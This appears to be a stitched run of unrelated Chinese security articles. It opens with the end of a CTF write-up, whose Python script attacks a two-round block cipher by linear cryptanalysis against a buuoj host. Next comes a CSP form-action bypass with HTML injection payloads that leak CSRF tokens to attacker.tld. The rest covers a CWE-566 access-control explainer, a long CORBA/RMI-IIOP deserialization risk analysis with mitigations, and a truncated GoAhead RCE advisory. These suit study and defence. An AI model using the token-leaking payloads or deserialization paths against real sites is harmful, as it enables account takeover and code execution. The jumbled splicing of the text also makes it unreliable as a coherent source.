for i in range(256):
sboxi.append(sbox.index(i))
enc_flag = io.recvline().strip().decode("utf8")
for i in range(10000):
print("[+] Getting data...({}/10000)".format(i))
pt = hexlify(os.urandom(8)).decode("utf8")
plain.append(pt)
io.sendline(pt)
ct = io.recvline().strip().decode("utf8")
print(ct,pt)
cipher.append(ct)
io.close()
def doxor(l1, l2):
return [x[0] ^ x[1] for x in zip(l1, l2)]
# 线性层
def trans(blk):
res = []
for k in range(0, SZ, 8):
cur = blk[k:k+8]
cur = [(cur[i] * coef[i]) % 256 for i in range(8)]
bits = [bin(x)[2:].rjust(8, '0') for x in cur]
bits = bits[-1:] + bits[:-1]
for i in range(8):
res.append(int(''.join([x[i] for x in bits]), 2))
return res
def bitxor(n, mask):
bitlist = [int(x) for x in bin(n & mask)[2:]]
return bitlist.count(1) % 2
# Sbox线性估计
def linearSbox():
global linearInput
for i in range(256):
si = sbox[i]
for j in range(256):
for k in range(256):
a = bitxor(i, j) # 线性估计输入
b = bitxor(si, k) # 线性估计输出
if a == b:
offset[j][k] += 1
for i in range(256):
offset[i] = [abs(x - 128) / 256 for x in offset[i]]
for linearOutput in range(256):
cur = [x[linearOutput] for x in offset]
linearInput.append(cur.index(max(cur)))
def calcOffset(pt, ct, j, guessed_key): # 猜测第j段子密钥
pt = list(unhexlify(pt))
ct = list(unhexlify(ct))
ct[j] ^= guessed_key
ct[j] = sbox[ct[j]] # sbox即为sboxi的逆
ct[j] = (ct[j] * coef[j]) % 256
u1 = bitxor(pt[0], linearInput[1 << ((6 - j) % 8)])
u2 = bitxor(ct[j], 0b10000000)
if u1 == u2:
return True
else:
return False
def linearAttack():
key2 = []
for i in range(8): # 第二轮子密钥的第i段
count = [0 for _ in range(256)]
for guessed_key in range(256):
print("[+] Cracking key...({}-{})".format(i, guessed_key))
for j in range(10000):
if calcOffset(plain[j], cipher[j], i, guessed_key) == True:
count[guessed_key] += 1
bias = [abs(x - 5000) / 10000 for x in count]
key2.append(bias.index(max(bias)))
return key2
def getkey(key2):
ct = list(unhexlify(cipher[0]))
pt = list(unhexlify(plain[0]))
cur = doxor(ct, key2)
cur = [sbox[x] for x in cur]
cur = trans(cur)
cur = [sboxi[x] for x in cur]
key = doxor(cur, pt) + key2
return key
def decrypt_block(ct, key):
cur = doxor(ct, key[SZ:])
cur = [sbox[x] for x in cur]
cur = trans(cur)
cur = [sboxi[x] for x in cur]
cur = doxor(cur, key[:SZ])
return cur
def decrypt(ct, key):
pt = b''
for i in range(0, len(ct), SZ * 2):
block_ct = list(unhexlify(ct[i : i + SZ * 2]))
block_pt = decrypt_block(block_ct, key)
pt += bytes(block_pt)
return pt
if __name__ == "__main__":
getData('node4.buuoj.cn', 27125)
linearSbox()
key2 = linearAttack()
key = getkey(key2)
print(key)
flag = decrypt(enc_flag, key)
print(flag)
那么对于这道简单的两轮分组密码的线性分析就到此告一段落了，但对于分组密码的学习不会到此为止，因为，还有高阶差分、截断差分、不可能差分……
## 参考资料
1.《分组密码的攻击方法与实例分析》(李超,孙兵,李瑞林) SS=12567685
2.<https://0xdktb.top/2020/04/19/WriteUp-NPUCTF-Crypto/EzSPN.pdf> | 社区文章 |
本文来源：[mottoin](http://www.mottoin.com/93211.html)
CSP(Content-Security-Policy)是一个HTTP响应头，该响应头包含了指示浏览器如何限制页面上的内容的指令。 例如，”form-action”指令限制了可以提交的原始表单。CSP form-action指令可以限制页面可以提交表单到那些URL。在XSS/HTML注入错误的情况下，可以绕过此保护。
### form-action指令
要理解为什么”form-action”指令从安全角度来说很重要，请想象下面这种情况：
Content-Security-Policy: default-src ‘none’;
<html>
<body>
<div>[Reflected XSS vulnerability here]</div>
<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>
<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />
<input type=”submit” value=”Subscribe to newsletter” />
</form>
</body>
</html>
由于CSP不允许脚本，我们不能使用脚本来提取csrf令牌。 然而，通过注入一个`<form>`标签，我们可以覆盖提交表单（包括csrf令牌）的位置：
Content-Security-Policy: default-src ‘none’;
<html>
<body>
<div><form action=”http://attacker.tld”></div>
<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>
<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />
<input type=”submit” value=”Subscribe to newsletter” />
</form>
</body>
</html>
### 在Chrome中绕过
可以通过将现有表单的方法（使用formmethod属性）重写为”GET”并将操作（使用formaction属性）重写为””（当前页面）来绕过该伪指令。然后，我们将此与泄露元素相结合（例如“`<link
rel=’subresource’ href =’http://attacker.tld/link-subresource’>`”）
Content-Security-Policy: default-src ‘none’;
<html>
<body>
<div><input value="CLICK ME FOR POC" type="submit" formaction="" form="subscribe" formmethod="get" /><input type="hidden" name="xss" form="subscribe" value="<link rel='subresource' href='http://attacker.tld/link-subresource'>"/></div>
<form method="POST" id="subscribe" action="/api/v1/newsletter/subscribe">
<input type="hidden" name="csrftoken" value="5f4dcc3b5aa765d61d8327deb882cf99" />
<input type="submit" value="Subscribe to newsletter" />
</form>
</body>
</html>
当受害者点击注入的提交按钮时，浏览器将把表单值作为GET参数发送到当前页面。
这些GET参数然后泄漏给attacker.tld，因为引用了泄露元素。换句话说，表单值（包括CSRF令牌）将通过Referer头发送到http://attacker.tld
。 form-action绕过成功。
### Demo
http://bugbounty.se/csp_bypass.php?xss=%3Cinput%20value=%22CLICK%20ME%20FOR%20POC%22%20type=%22submit%22%20formaction=%22%22%20form=%22subscribe%22%20formmethod=%22get%22%20/%3E%3Cinput%20type=%22hidden%22%20name=%22xss%22%20form=%22subscribe%22%20value=%22%3Clink%20rel=%27subresource%27%20href=%27http://attacker.tld/link-subresource%27%3E%22/%3E
### 后果
### 在Firefox中绕过
Firefox的攻击本质上是一样的，但不是使用”`<link rel =’subresource’href
=’http://attacker.tld”>`”，我们使用”`<a href
=’http://attacker.tld’>`”，使用这个的缺点是用户必须点击两次而不是一次。
来源链接：http://www.mottoin.com/93211.html
* * * | 社区文章 |
# 【缺陷周话】第21期：数据库访问控制
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、数据库访问控制
数据库访问控制是指程序未进行恰当的访问控制，执行了一个包含用户控制主键的SQL语句，由于服务器端对客户提出的数据操作请求过分信任，忽略了对该用户操作权限的判定，导致修改相关参数就可以拥有了其他账户的增、删、查、改功能。如果在一个应用中，用户能够访问他本身无权访问的功能或者资源，就说明该应用存在访问控制缺陷，也就存在越权漏洞。本篇文章以JAVA语言源代码为例，分析数据库访问控制漏洞产生的原因以及修复方法。详见CWE
ID566: Authorization Bypass Through User-Controlled SQL Primary Key
(http://cwe.mitre.org/data/definitions/566.html)。
## 2、 数据库访问控制的危害
数据库访问控制是利用用户引入的参数生成由用户控制主键的 SQL
语句，令攻击者可以访问到同级别用户的资源或者访问更高级别用户的资源，会导致任意用户敏感信息泄露、用户信息被恶意修改或删除。数据库访问控制类似于数据库越权。例如某一页面服务器端响应中返回登录名、登录密码、手机号、身份证等敏感信息，如果存在数据库访问控制，通过对用户
ID
的遍历，就可以查看所有用户的敏感信息，这也是一种变相的脱库，而且很难被防火墙发现，因为这和正常的访问请求没有什么区别，也不会包含特殊字符，具有十足的隐秘性。
## 3、示例代码
本章节中使用的示例代码来源于 Samate Juliet Test Suite for Java v1.3
(https://samate.nist.gov/SARD/testsuite.php),
源文件名：CWE566_Authorization_Bypass_Through_SQL_Primary__Servlet_01.java。
### 3.1缺陷代码
上述示例代码31-56行，程序获取用户输入的参数 id，并将传入参数转成 int 类型，然后创建数据库查询，查询 uid 为传入参数 id
的清单数据。显然，程序中未对传入参数做校验及过滤，用户可随意获得任何用户的清单数据。
使用360代码卫士对上述示例代码进行检测，可以检出“数据库访问控制”缺陷，显示等级为中。从跟踪路径中可以分析出数据的污染源以及数据流向，在代码行第53行报出缺陷，如图1所示：
图1：数据库访问控制的检测示例
### 3.2 修复代码
在上述修复代码中，在第34行从 session 中直接获取到 id 的值构造查询语句，获得当前用户的清单数据，避免用户操控SQL语句的主键值。
使用360代码卫士对修复后的代码进行检测，可以看到已不存在“数据库访问控制”缺陷。
图2：修复后检测结果
## 4 、如何避免数据库访问控制
要避免数据库访问控制，需要注意以下几点：
> （1）完善用户权限体系。要知道哪些数据对应哪些用户，哪些数据不应该由哪些用户操作。
>
> （2）服务端对请求的数据和当前用户身份做校验，例如使用权限参数判断用户是否拥有执行操作的权限。
>
> （3）对于可控参数进行严格的检查与过滤。 | 社区文章 |
**作者：蚂蚁安全非攻实验室
公众号：[蚂蚁安全实验室](https://mp.weixin.qq.com/s/AsqFQAVotXbEAlHsBl-UqA)**
## 背景
上一篇中我们初步分享了 CORBA 通信过程以及各种名词去了解这个协议，并且搭建了一个 demo，接下来会使用这个 demo 进行分析 CORBA
中的一些风险点。
## Client
### 一、思路分析
安全分析方向有两个：
1. 在解析 server 返回的 response 时，可能存在 jdk 原生反序列化
2. 在 client 端生成 stub 类时，很有可能存在类加载逻辑，甚至是加载远程类
### 二、反序列化分析
发生在 stub 的使用阶段，在 client 发起 dii request 后，恶意服务器可以精心构造返回数据，进而控制 client 端对
response 的反序列化操作流程，其中存在 JDK 原生反序列化，由此触发 java 反序列化 rce。
#### 1、原理分析
漏洞触发代码如下：
Request request = hello._request("sayHello");
request.invoke();
System.out.println(request.result().value());
request.invoke(); 调用处理流程如下：
由上图可见，在使用 dii request 发起 rpc 请求时，能够触发 ObjectInputStream#readObject ，引发 JDK
原生反序列化。
其中 IDLJavaSerializationInputStream 不是 CORBA 通信过程中默认的反序列化工具，默认的是
CDRInputStream_x_x (x_x 根据版本决定)，那么我们接下来深入分析下如何创建
IDLJavaSerializationInputStream 对象作为反序列工具的，流程如下：
整个 IDLJavaSerializationInputStream
对象生成流程如上所述，最关键的地方只有一处调用：MessageBase#readGIOPHeader
这一处调用主要功能是处理 server 端的返回信息，是 **根据 server 端的返回数据生成 message header**
，依次控制后续对数据的拆包、解析操作。其流程中，requestEncodingVersion 变量就是控制通信实现方式，默认是 CDR 的形式，最后会生成
CDRInputStream_x_x 来进行解析操作（例如，调用 impl.read_wstring() 的时候，就会调用
CDRInputStream_X_X）。
此处的流程能观察到，requestEncodingVersion 是可以由 server 端返回流进行控制的，即 server 端可以控制 client
端的拆包解析方式。
经过深入分析，就算 server 端可以控制一部分 client 端的行为，要想触发到 JDK 反序列化代码，还必须要求 client
端含有如下配置，以此开启 JDK 序列化功能支持：
props.put("com.sun.CORBA.encoding.ORBEnableJavaSerialization", "true");
ORB orb = ORB.init(args, props);
#### 2、风险前置条件
两个前置条件：
1. client 端需要开启 JDK 序列化功能支持
2. client 端需要发起 dii 请求，并且需要预先指定：调用返回结果类型 or 调用参数类型
第一个条件，需要在初始化 ORB 时，需要开启 iiop 协议的 jdk 序列化技术支持。
注：实际上就是从 CDR 支持转为 jdk 序列化支持，默认情况下是 CDR 支持 。
第二个条件，需要 client 端在 dii 请求发起前，手动设置调用返回结果类型或是调用参数类型，才会在 response 处理时，触发到 JDK
反序列化。
原因在于如下图（com.sun.corba.se.impl.corba.RequestImpl#unmarshalReply）：
如上图，该流程是在 server 端返回 response 后的 client 端对数据进行解包的流程，默认情况下 _result 、 _arguments
都是为 null 的。需要在初始化创建时候，传入相关配置才能在解析返回结果时触发 read_value 调用，最终能够触发 JDK 反序列化。
附上存在反序列化风险的 client 端代码：
public void run(String[] args) throws Exception {
Properties props = new Properties();
// 生成一个ORB，并初始化，这个和Server端一样
props .put("org.omg.CORBA.ORBInitialPort", "1050");
props.put("org.omg.CORBA.ORBInitialHost", "127.0.0.1");
// allowed java serial
props.put("com.sun.CORBA.encoding.ORBEnableJavaSerialization", "true");
final ORB orb = ORB.init(args, props);
// 获得根命名上下文
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
// 用NamingContextExt代替NamingContext.
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
// 通过名称获取服务器端的对象引用
String name = "Hello";
Hello hello = HelloHelper.narrow(ncRef.resolve_str(name));
//调用远程对象
Request req = hello._create_request(null, "sayHello", null, new NamedValue() {
@Override
public String name() {
return null;
}
@Override
public Any value() {
Any any = new AnyImpl((com.sun.corba.se.spi.orb.ORB) orb);
any.insert_wstring("1");
return any;
}
@Override
public int flags() {
return 0;
}
});
req.invoke();
}
### 三、远程类加载分析
发生在 stub 的生成阶段，恶意服务器可以指定 codebase ，client 端会从 codebase 指定地址进行远程类加载。
#### 1、原理分析
我们可以去查看下 _HelloStub#readObject 函数，源码如下：
private void readObject (java.io.ObjectInputStream s) throws java.io.IOException
{
String str = s.readUTF ();
String[] args = null;
java.util.Properties props = null;
org.omg.CORBA.ORB orb = org.omg.CORBA.ORB.init (args, props);
try {
org.omg.CORBA.Object obj = orb.string_to_object (str);
org.omg.CORBA.portable.Delegate delegate = ((org.omg.CORBA.portable.ObjectImpl) obj)._get_delegate ();
_set_delegate (delegate);
} finally {
orb.destroy() ;
}
}
如上，根据规定 readObject 函数会还原一个 _HelloStub 对象 ，那么上述代码块中：
org.omg.CORBA.Object obj = orb.string_to_object (str);
这一句代码就是将协议串转换为 client stub 的操作，协议串可以是 IOR: /corbaname:/ corbaloc: 开头
经过分析， orb.string_to_object (str); 调用整个处理过程如下：
如上图，最主要的是 _NamingContextExtStub#resolve_str 这一步调用，大致功能是由 NamingContext 从 orbd
中获取 stub 类，其中涉及到了类加载的过程。
从 _NamingContextExtStub#resolve_str 往后的调用过程，和正常的 client 端从 NamingServer
获取对象引用的操作是一样的，如下：
// 通过名称获取服务器端的对象引用
String name = "Hello";
Hello hello = HelloHelper.narrow(ncRef.resolve_str(name)); // 调用 resolve_str
由此可见，无论是 stub 类的 readObject 函数，还是正常的 client rpc 调用，都可能会触发到远程类加载流程。
#### 2、风险前置条件
需要 client 端允许 RMI 上下文环境访问远程 codebase。
StubFactoryFactoryStaticImpl#createStubFactory 中的类加载使用的是 RMIClassLoader ，虽然
useCodebaseOnly 为 false ，但是在反序列化 stub 上下文中，没有允许访问 codebase，会导致 SecurityManager
权限校验不通过
#### 3、分析小结
· Message：
每一次 request 和 reponse 的运载物都是它。在 corba 通信过程中，CorbaMessageMediatorImpl
就是它们的代表，其中包含 requestHeader, replyHeader, messageHeader，这三者分别管控 request
包的序列化/反序列化，replay(response)包的序列化/反序列化，message的序列化/反序列化，主要作用是控制通信数据格式。
· request & response:
request 和 response 都可能是 CDRInputObject 或者 CDROutputObject，站在分析者的角度，主要关注
CDRInputObject。在根据 requestHeader, replyHeader, messageHeader 反序列化时，都是使用
CDRInputObject 作为操作对象对数据进行处理的
数据底层处理类：
1. CDROutputObject
2. CDRInputObject
实际在序列化/反序列化数据时，是由它们的 impl 属性实现的，可以分为 IDLJavaSerializationX 和 CDRX 系列，如下图关系：
## Corba Server 端
### 一、思路分析
server 端是先绑定 rpc 实现（ 注册 servant ），然后会和 client 端进行交互。
经过分析没有发现远程类加载的情况，但是存在和 client 端的反序列化风险类似的问题，因为本质上都会有底层数据经过
CorbaMessageMediator 的处理过程，不过触发 JDK 反序列化的入口点不一样。
### 二、反序列化分析
该风险发生在 client 端发起 rpc 请求时产生，在 server 端调用实际 rpc 服务函数实现前触发。
#### 1、原理分析
过程在分派请求时发生，我们重写 hello.idl 如下：
module com {
interface Hello{
string sayHello (in wstring name);
};
};
如上代码，定义 sayHello 入参类型为 wstring ，接着查看 HelloPOA#_invoke ，源码如下
public org.omg.CORBA.portable.OutputStream _invoke (String $method,
org.omg.CORBA.portable.InputStream in,
org.omg.CORBA.portable.ResponseHandler $rh)
{
org.omg.CORBA.portable.OutputStream out = null;
java.lang.Integer __method = (java.lang.Integer)_methods.get ($method);
if (__method == null)
throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE);
switch (__method.intValue ())
{
case 0: // com/Hello/sayHello
{
String name = in.read_wstring ();
String $result = null;
$result = this.sayHello (name);
out = $rh.createReply();
out.write_string ($result);
break;
}
default:
throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE);
}
return out;
} // _invoke
如上，在调用真正的 sayHello 函数服务之前，_invoke 函数先还原了入参 name ，调用的是
CDRInputStream#read_wstring ，后续的处理流程于 Client 反序列化分析中流程相同。
#### 2、风险前置条件
server 端要存在入参，且参数类型可以触发到 JDK 反序列化流程，例如 any 、wstring 等
#### 3、注意
以上所述都是通过 Oracle JDK 搭建的最简单 Corba 通信环境分析出来的，在其他大型中间件/容器等对 Corba 的扩展实现中可能会存在更多的
JDK 反序列化风险点，其调用链路可能也有所不同，但是漏洞原理大多是一致的。
例如 read_any 函数调用也会触发到反序列化，这是今年 weblogic 和 websphere 被刷的 IIOP 反序列化漏洞入口。
## ORBD
全称：The Object Request Broker Daemon
orbd 是用于产生 NameService 的服务，在 server 端进行 corba 服务实现注册的之前，首先需要运行 orbd。
简介见：<https://docs.oracle.com/javase/1.5.0/docs/guide/idl/orbd.html>
### 一、前置知识
orbd 其实在 jdk 中有所实现，见 com.sun.corba.se.impl.activation.ORBD 。
注：需要调试的话，在 idea Configuration 中配置好 Program arguments ：
-port 1050 -ORBInitialPort 1049 -ORBInitialHost 127.0.0.1
orbd 主要是为 server 端提供长期存储服务/存储上下文/计数等功能。client 端也是首先通过它取得 server 端的信息，在最后的 rpc
调用时，才会直接和 server 端通信，在查找 name service / 查找 corba servce 时，都是与 orbd 通信的。
orbd 中进行数据的采集和整理也是使用的 CorbaMessageMediatorImpl#handleInput，通过
CorbaServerReqeustDispatcherImpl#dispath 进行请求分派。
在直接使用 orbd 时，会在工作目录下创建 orb.db 目录，该目录下存储了 server / 上下文（NamingContextImpl）
等信息，目的是为了保持 corba 服务相关对象的持续保存，如下图：
### 二、反序列化分析
在 corba client 角色发起调用请求时会出现反序列化的操作，会将 orb.db 文件夹下的 NC0 文件内容进行反序列化，路径是 client
角色端可控的。
注：server 端 / client 端都会充当 corba client 角色，只要是调用了
org.omg.CORBA.portable.ObjectImpl#_request 接口都可视作 client 角色。
#### 1、原理分析
orbd 可以将 NamingContextImpl / server
等信息持续化保存（序列化过程），那么一定会有机会将它们从本地磁盘导入到程序中（反序列化过程）。
这里我们直接查看反序列化过程，如下
通过前文对 Server 的派遣请求流程的分析，我们能够观察到 ORBD
在接收到请求后分派的处理方式大致相同，不过这里多一个预处理流程，在预处理流程中就存在 JDK 反序列化的操作。
其中 ServantManagerImpl#readInContext 代码如下
public NamingContextImpl readInContext(String objKey)
{
NamingContextImpl context = (NamingContextImpl) contexts.get(objKey);
if( context != null )
{
// Returning Context from Cache
return context;
}
File contextFile = new File(logDir, objKey);
if (contextFile.exists()) {
try {
FileInputStream fis = new FileInputStream(contextFile);
ObjectInputStream ois = new ObjectInputStream(fis);
context = (NamingContextImpl) ois.readObject();
context.setORB( orb );
context.setServantManagerImpl( this );
context.setRootNameService( theNameService );
ois.close();
} catch (Exception ex) {
}
}
if (context != null)
{
contexts.put(objKey, context);
}
return context;
}
如上代码，该处理过程是将 objKey 当作 logDir 目录的子文件，然后提取文件内容，直接调用 readObject 函数，触发 jdk
原生反序列化。
那么 objKey 是从哪儿获取的呢？
在 client 角色方得到 _NamingContextExtStub 对象后，就可以直接调用 Name service 提供的服务，例如
rebind、unbind、bind 等等，其中 _NamingContextExtStub 含有 orbd 的相关信息，将其中 IOR
提取出来后，可以看见一些 corba server 制定的数据处理规则等，其中有一个 ObjectId 的对象，它里面的 id 属性就是 objKey 的
byte[] 格式，如下图：
这里产生的安全风险是，orbd 居然将 client 角色传递过来的 ObjectId 进行还原，然后在处理过程中转换为 ojbKey
，简而言之，client 角色可以自行修改 ObjectId 中的任何信息，并且 orbd 不仅会还原它，还会将其制作为 ojbKey ，接着进行
NamingContextImpl 的预加载。
恶意 Client 可以通过控制 ObjectId 间接控制 ORBD 中的 NC0 文件路径，在 ORBD
服务器中如果存在含有恶意序列化数据的文件，那么就可以通过 ObjectId 可以将反序列化文件的路径指向恶意文件，最终会导致 ORBD 服务器触发 JDK
反序列化漏洞。
#### 2、风险前置条件
需要 ORBD 服务器中存在恶意 Java 序列化数据的文件。
不过，orbd 在标准的 corba 通信中，是直接使用命令行运行的，并不会带上其他依赖，也不需要。即使存在恶意文件，但是最终无法使用目前已知的反序列化
gadget 进行攻击，至少都得需要 jdk 原生反序列化的 gadget 才会导致任意代码执行。
### 三、分析小结
client & server：
绝对的 server 端是 orbd，它永远只提供数据转发、name service 服务这些功能，绝对的 client 是 corba client
，它对 orbd 、corba server 发请求，而 corba server 是一会儿 client 角色，一会儿 server 角色。在 corba
通信过程中，client 角色总会发起 invoke 请求（发包 request），然后收到 reply（接包 response），server
端自然总是收到 request ，然后返回 response。
ORBD 这一角色渐渐被 Corba Server 所整合，在某些容器中是不用特意去配置 ORBD 的，直接使用 JNDI 的方式注册、发布 service
即可。但是 ORBD 含有的功能不会被抹去，在其他 Corba 实现/扩展中肯定还是会存在功能模块，负责处理 ORBD 原本的工作。
## RMI-IIOP
### 一、简介
曾经 JAVA 中分布式解决方案只有 RMI 和 CORBA，两者并不能共存，而 CORBA 又有跨语言的有点，所以推出了 RMI-IIOP 解决方案，此后
RMI 服务器对象可以使用 IIOP 协议，并与任何语言编写的 CORBA 客户端对象进行通信。（请参阅在 IIOP 上运行 RMI
程序时的一些限制，扫描下方二维码查看）
RMI-IIOP 结合了 RMI 的易用性与 CORBA 的跨语言互操作性，将 Java 语言进一步推向了目前服务器端企业开发的主流语言的领先地位。
### 二、前置知识
IIOP （Internet Inter-ORB Protocol）：IIOP 是 CORBA 的通信协议，用于 CORBA 对象RPC请求之间的交流。
IDL ：IDL 全称接口定义语言，是用来描述软件组件接口的一种规范语言。用户可以定义模块、接口、属性、方法、输入输出参数。Java 中提供了 idlj
命令用来编译 IDL 描述文件，用以生成 Java 语言的 客户端 java 文件等。
#### 1、corba & RMI 差异
| corba | RMI
---|---|---
定义接口 | idl 代码生成接口 | interface 定义
实现类 | 继承 idlj 生成的 _NameImplBase | 继承 UnicastRemoteObject
使用语言 | 独立于语言的，兼容性强 | Java to Java
查找对象 | 使用 CosNaming（nameserver） | 使用 JNDI 定位远程对象
序列化/反序列化 | 默认采用 CDR 序列化数据 | 使用 JDK 原生反序列化
rmi 和 corba 都差不多，都是桩和框架的设计。它们在 java 中都可以相互调用，这就归功于 rmi-iiop。
#### 2、实现简述
笼统地来说，rmi-iiop 是把 corba 整个实现给包装了一次，在 corba 实现中，只能传递简单的数据，没法像 rmi
这样能够直接利用序列化/反序列化传递对象（这里可能有误，但暂时不知道如何通过 corba 直接传递对象），在 r mi-iiop 实现中，把 corba
的通信模式 GIOP-TCP 包装了一层，间接的实现了对象的传递，如下图：
比起 corba 的底层数据处理，多出来了 IIOP
这么一层，它的工作是将对象拆分，对象数据就是由对象中的属性构成，直接传输对象的属性，就能够间接的传递对象了。
#### 3、调用流程差异
github 上一个 rmi-iiop 例子：<https://github.com/uro/cobra-rmi-iiop>
client 端：
这么三句代码，就能拿到 stub，都是 jndi 的功劳。其中 lookup 函数可以传入 corbaloc 、corbaname
等协议串，例如：ctx.lookup("corbaname::localhost:1050#PhoneDirectoryService")。
server 端：
同样也是三句代码就能绑定 corba 服务实现，这也是 jndi 的功劳。
注：以上都需要使用 作者给出的 jndi.properties ，也可以直接指定 jvm 参数（因为要用到 ORBD）。
**demo 补充**
如果想测试一下 rmi-iiop 关于 对象 传递的demo，可以在上述例子中加入如下类：
package zad1;
public class SerClass implements java.io.Serializable {
// members
private int x;
private String myString;
// constructor
public SerClass(int x, String myString) throws java.rmi.RemoteException {
this.x=x;
this.myString=myString;
}
// some accessor methods
public int getX() { return x;}
public void setX(int x) { this.x=x; }
public String getString() { return myString; }
public void setString(String str) { myString=str; }
}
PhoneBookClient 中获取 stub 后，添加一个调用：
SerClass sc = new SerClass(5, "Client string! ");
// pass the class to be altered on the server
// of course behind the scenes this class is being
// serialized over IIOP
sc = pd.alterClass(sc);
// now let's see the result
System.out.println("Serialization results :\n"+
"Integer was 5 now is "+sc.getX()+"\n"+
"String was \"Client String! \"" +
"now is \""+sc.getString()+"\"");
PhoneDirectoryInterface 增加接口函数
package zad1;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface PhoneDirectoryInterface extends Remote {
String getPhoneNumber(String name) throws RemoteException;
boolean addPhoneNumber(String name, String num) throws RemoteException;
boolean replacePhoneNumber(String name, String num) throws RemoteException;
public SerClass alterClass(SerClass classObject) throws java.rmi.RemoteException;
}
PhoneDirectory 增加函数实现：
@Override
public SerClass alterClass(SerClass classObject) throws RemoteException {
// change the values of SerClass and return it.
// add 5 to X
classObject.setX( classObject.getX() + 5 );
// alter the string
classObject.setString( classObject.getString() + " : I've altered you" );
return classObject;
}
### 三、反序列化分析
其实从设计上来看，安全分析思路已经很明显了，利用 IIOP 的序列化/反序列化能力，构造恶意 jdk serial 数据让目标对其反序列化。
这里的承载对象就要好好考量一下了（因为 IIOP 在反序列化数据处理时，都是根据调用者（servant） 或者 stub
指定的预期类型（expectType）来确定反序列化的处理流程），风险最大的情况的就是使用 java.lang.Object
作为远程调用函数参数、远程调用函数返回值。
IIOP 有关目标对象创建、反序列化处理等都发生在 IIOPInputStream 这个类中，反序列化入口在
com.sun.corba.se.impl.io.IIOPInputStream#simpleReadObject 。
其处理流程如下：
1. 先根据 expectType 新建一个对象，并判断该类是否含有 readObject 函数（实现了 Serialization 接口），如果有，则调用该函数
2. 如果没有该函数，那么通过反射，取出该对象的所有 field ，然后从 IIOPInputStream 读取值，塞入各个 field 中。其中，如果 field 不是基本类型，那么根据其类型创建对象，重复步骤1
上述过程发生在如下情况中：
1. client 端发起请求后，反序列化 server 端的返回结果
2. server 端在接受到 client 端到请求后，反序列化请求参数
风险种类和场景根据角色的不同而不同。
注意，IIOPInputStream 主要是将 CDRInputObject 包装，然后在读取各种数据时，实际上还是利用的
CDRInputStream_X_X 或 IDLJavaSerializationInputStream
但是 IIOPInputStream 本身也存在风险点，那就是会首先判断反序列化目标是否存在 readObject 函数，然后对其进行调用，由此会触发
JDK 反序列化风险。
RMI-IIOP 具体存在的安全风险，形如最原始的 rmi 攻击 rmiserver 那般，server 端存在入参类型为 java.lang.Object
或其属性中含有 java.lang.Object 类型等情况 ，此时恶意 client 端可以在 rpc 调用的时候，传入恶意类，然后使用
java.lang.Object 来承载该类的服务端进行反序列化。
rmi 攻击分析见：<https://xz.aliyun.com/t/6660#toc-6>
## 安全建议
建议在实际业务场景中尽量减少涉及到序列化功能的接口/服务的公开，如非必须可以选择将其关闭，例如 weblogic 可选择关闭 IIOP / T3 协议支持。
现阶段，JAVA
ODD类型反序列化安全没有永绝后患的解决方案。如果你的设计落入了ODD模式，那么注定是一个安全梦魇，正如近几年整个安全业界面临fastjson不停爆出0day时张皇失措的情景。现在fastjson也提供了安全模式，关闭开放动态类型反序列化模式，这个是解决此类安全隐患的正途。
在因为种种原因无法规避ODD时，可以选择通过 JEP290 防护机制设置全局黑白名单，但是需要将 JDK 版本升级到 JDK9 或是 8u121、7u131
和
6u141。在实际场景中推荐结合业务而配置白名单，如果实在不行可以退而求其次配置恶意类黑名单。但是注意黑名单容易被绕过，这个也是fastjson社区之前常年鸡飞狗跳的原因。
另外，由于这两年业界在RASP/安全切面领域的实践，对于ODD漏洞类型的紧急止血可以从传统WAF的痛苦中解脱出来。比如可以用RASP/安全切面机制禁止危险反序列化函数调用高危操作，在面对未知0day漏洞时能够有效缓解漏洞造成的影响。
注：JEP290 默认只会开启 RMI 安全防护，如果要配置全局反序列化黑白名单，需要在配置文件 conf/security/java.properties
中的 jdk.serialFilter 条目设置反序列化黑白名单列表， **配置参考（扫描下方二维码查看）** 。
## 作者感想
本着以安全技术分析、思路分享的态度发文，文章没有经过太多雕琢，如有错误欢迎大佬们指正。
2019年9月分析完了 JDK CORBA ，但是没有及时向上分析JAVA框架/应用层面错失了很多 0day。
总的来说，本系列文章都是围绕反序列化/类加载/类初始化等角度去进行安全分析，没有从 CORBA 协议本身的一些设计角度去分析，CORBA
中很重要的功能就是分布式对象管理和调遣，并且 JAVA
语言也是面向对象的典范，所以本系列文章更多的关注在“对象”这个点上，如果读者感兴趣可以从协议设计安全角度深入分析。
## 参考文献
什么是 RMI、IIOP和RMI-IIOP：<https://www.ibm.com/support/knowledgecenter/zh/SSYKE2_7.0.0/com.ibm.java.lnx.70.doc/rmi-iiop/overview.html>
jndi 对 corba
的支持：<https://docs.oracle.com/javase/8/docs/technotes/guides/jndi/jndi-cos.html>
java 中 rmi 和 corba 的区别：<https://blog.csdn.net/njchenyi/article/details/468402>
RMI、CORBA、IIOP简单实例：<https://blog.csdn.net/javamxj/article/details/282664>
## 关于作者
蚂蚁安全非攻实验室：隶属于蚂蚁安全九大实验室之一。蚂蚁安全非攻实验室致力于JAVA安全技术研究，覆盖蚂蚁自研框架和中间件、经济体开源产品以及行业中广泛使用的第三方开源产品，通过结合程序自动化分析技术和AI技术，深度挖掘相关应用的安全风险，构建可信的安全架构解决方案。
* * * | 社区文章 |
**作者： 且听安全
原文链接：<https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg>**
## 概述
GoAhead是世界上最受欢迎的微型嵌入式Web服务器。它结构紧凑、安全且易于使用。GoAhead部署在数亿台设备中，是最小嵌入式设备的理想选择。
近日爆出GoAhead存在RCE漏洞，漏洞源于文件上传过滤器处理的不全，当与CGI处理程序一起使用时，可影响环境变量，从而实现RCE。GoAhead曾经爆出过类似的漏洞CVE-2017-17562：
https://www.elttam.com/blog/goahead/#content
经过分析发现此次爆出的新漏洞与CVE-2021-42342类似。漏洞影响版本为：
GoAhead web-server=4.x
